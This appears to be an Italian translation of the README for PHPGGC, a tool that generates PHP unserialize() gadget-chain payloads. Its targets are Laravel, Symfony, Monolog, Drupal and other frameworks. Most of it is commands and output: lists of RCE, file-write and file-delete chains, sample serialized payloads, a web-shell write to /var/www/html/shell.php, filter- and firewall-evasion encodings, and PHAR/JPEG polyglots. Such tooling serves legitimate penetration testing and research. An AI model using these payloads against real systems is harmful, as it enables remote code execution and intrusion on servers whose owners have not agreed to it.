
PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
PHPGGC è una libreria di payload unserialize() insieme a uno strumento per generarli, da riga di comando o programmaticamente. Quando incontri una unserialize su un sito web di cui non hai il codice, o semplicemente quando cerchi di costruire un exploit, questo strumento ti permette di generare il payload senza dover passare attraverso i noiosi passaggi di trovare e combinare i gadget. Può essere considerato l'equivalente di frohoff's ysoserial, ma per PHP. Attualmente, lo strumento supporta catene di gadget come: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii e ZendFramework.
Per eseguire PHPGGC è richiesto PHP >= 5.6.
Esegui ./phpggc -l per ottenere un elenco delle catene di gadget:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Filtra le catene di gadget:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Ogni catena di gadget ha:
__destruct(), __toString(), offsetGet(), ...)Usa -i per ottenere informazioni dettagliate su una catena:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Per i gadget RCE, il comando eseguito può avere 3 tipi di formattazione a seconda di come funziona il gadget:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idUna volta selezionata una catena, esegui ./phpggc <gadget-chain> [parameters] per ottenere il payload.
Ad esempio, per ottenere un payload per Monolog, dovresti fare:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Per una scrittura di file usando SwiftMailer, dovresti fare:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
L'opzione --wrapper (-w) ti permette di definire un file PHP contenente le seguenti funzioni:
process_parameters(array $parameters): Chiamata subito prima di generate(), permette di modificare i parametriprocess_object(object $object): Chiamata subito prima di serialize(), permette di modificare l'oggettoprocess_serialized(string $serialized): Chiamata subito dopo serialize(), permette di modificare la stringa serializzataAd esempio, se il codice vulnerabile si presenta così:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Potresti usare una catena __toString(), avvolgendola in questo modo:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
E chiameresti phpggc in questo modo:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
Al BlackHat US 2018, @s_n_t ha rilasciato PHARGGC, un fork di PHPGGC che, invece di costruire un payload serializzato, costruisce un intero file PHAR. Questo file PHAR contiene dati serializzati e come tale può essere usato per varie tecniche di sfruttamento (file_exists, fopen, ecc.). Il documento è qui.
Gli archivi PHAR sono disponibili in tre formati diversi: PHAR, TAR e ZIP. Tutti e tre sono supportati da PHPGGC.
I file poliglotti possono essere generati usando --phar-jpeg (-pj). Sono disponibili altre opzioni (usa -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
Gli argomenti permettono di modificare il modo in cui il payload viene emesso. Ad esempio, -u lo codifica in URL e -b lo converte in base64.
I payload contengono spesso byte NULL e non possono essere copiati/incollati così come sono. Usa -s per una codifica URL soft, che mantiene il payload leggibile.
Gli encoder possono essere concatenati e, di conseguenza, l'ordine è importante. Ad esempio, ./phpggc -b -u -u slim/rce1 system id codificherà il payload in base64, poi lo codificherà in URL due volte.
PHPGGC implementa un flag --fast-destruct (-f) che fa sì che il tuo oggetto serializzato venga distrutto subito dopo la chiamata a unserialize(), e non alla fine dello script. Consiglio di usarlo per ogni vettore __destruct, poiché migliora l'affidabilità. Ad esempio, se lo script PHP genera un'eccezione dopo la chiamata, il metodo __destruct del tuo oggetto potrebbe non essere chiamato. Poiché viene elaborato contemporaneamente agli encoder, deve essere impostato per primo.
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
Usa il formato di serializzazione S invece del normale s. Questo sostituisce ogni carattere non ASCII con una rappresentazione esadecimale:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
Questo può essere utile quando per qualche motivo i caratteri non ASCII non sono consentiti (ad esempio il byte NULL). Poiché i payload generalmente li contengono, questo garantisce che il payload sia composto solo da valori ASCII.
Nota: è sperimentale e potrebbe non funzionare in alcuni casi.
Usa il formato di serializzazione S invece del normale s. Questo sostituisce ogni carattere con una rappresentazione esadecimale:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D";
Torna utile quando un firewall o codice PHP blocca le stringhe.
Nota: è sperimentale e potrebbe non funzionare in alcuni casi.
Nota: questo fa crescere ogni stringa nel payload di un fattore 3.
A volte, gli script PHP verificano che il payload serializzato fornito non contenga oggetti usando una regex come /O:[0-9]+:. Questo viene facilmente bypassato usando O:+123:... invece di O:123:. Si può usare --plus-numbers <types>, o -n <types>, per aggiungere automaticamente questi segni + davanti ai simboli.
Ad esempio, per offuscare oggetti e stringhe, si può usare: --n Os. Nota che da PHP 7.2, solo i tipi i e d (float) possono avere un +.
Tenta di convertire i riferimenti alle proprietà protette o private all'interno del payload serializzato in proprietà pubbliche. Questo può essere utile perché quando PHP serializza una proprietà non pubblica di un oggetto, antepone al nome della proprietà un asterisco (per le proprietà protette) o il nome della classe (per quelle private), circondati da byte null, che sono facili da perdere se il payload viene trasmesso o archiviato come testo semplice senza codifica. Se ciò accade, il payload non riuscirà a essere unserializzato perché la lunghezza della stringa del nome della proprietà (e il nome stesso) risulteranno errati. Come bonus aggiuntivo, i payload sono leggermente più piccoli senza i prefissi. Convertire le proprietà in pubbliche tende a funzionare nelle versioni più recenti di PHP, ma può causare problemi nelle versioni più vecchie (prima di PHP 7.2). Questa funzionalità potrebbe non funzionare correttamente se una catena include uno o più oggetti con un'implementazione personalizzata di serialize / unserialize.
Per testare se la catena di gadget che vuoi usare funziona nell'ambiente target, spostati nella cartella del tuo ambiente ed esegui la catena senza argomenti, con l'opzione --test-payload.
Ad esempio, per testare se Monolog/RCE2 funziona su Symfony 4.x:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
Il codice di uscita sarà 0 se il payload è stato attivato, 1 altrimenti.
Se desideri sapere contro quali versioni di un pacchetto funziona una catena di gadget, puoi usare test-gc-compatibility.py.
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
Puoi specificare le versioni da testare usando la seguente sintassi.
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
Invece di usare PHPGGC come strumento da riga di comando, puoi programmare script PHP:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
Questo ti permette di modificare i parametri o scrivere exploit più facilmente. Nota: Al momento è abbastanza sperimentale, quindi per favore segnala i bug.
Le pull request sono più che benvenute. Segui queste semplici linee guida:
__destruct() è sempre il vettore migliore{ vanno su una nuova riga e gli array dovrebbero essere scritti come [1, 2, 3] invece della vecchia notazione array(1, 2, 3).Dal punto di vista del codice, la struttura delle directory è abbastanza semplice: i gadget in gadgets.php, descrizione + logica in chain.php. Puoi definire metodi di pre- e post- elaborazione, se i parametri devono essere modificati. Spero che i gadget già implementati siano sufficienti per costruire i tuoi. In caso contrario, sarò lieto di rispondere alle tue domande.
Per favore testa quante più versioni possibile. La nomenclatura per le versioni è la seguente: [-]<lower-version> <= <higher-version>[+]. I segni - e + indicano che il tuo payload potrebbe funzionare rispettivamente su versioni inferiori e superiori. Ad esempio, se la tua catena di gadget funziona dalla versione 2.0.0 alla versione 4.4.1, che è l'ultima versione al momento, usa 2.0.0 <= 4.4.1+.
L'opzione da riga di comando --new <framework> <type> può essere usata per creare la struttura di directory e file per una nuova catena di gadget.
Ad esempio, usare ./phpggc -n Drupal RCE creerebbe una nuova gadget chain Drupal RCE.
Se non vuoi installare PHP, puoi creare un'immagine Docker usando:
$ docker build . -t 'phpggc'
Puoi quindi usare il phpggc dockerizzato.
$ docker run phpggc Monolog/rce1 'system' 'id'
Spostati nella cartella del tuo ambiente ed esegui la catena senza argomenti, con l'opzione --test-payload:
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
Nota: Il comando deve essere eseguito nella directory in cui si trova l'immagine di input.
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
test-gc-compatibility.py$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘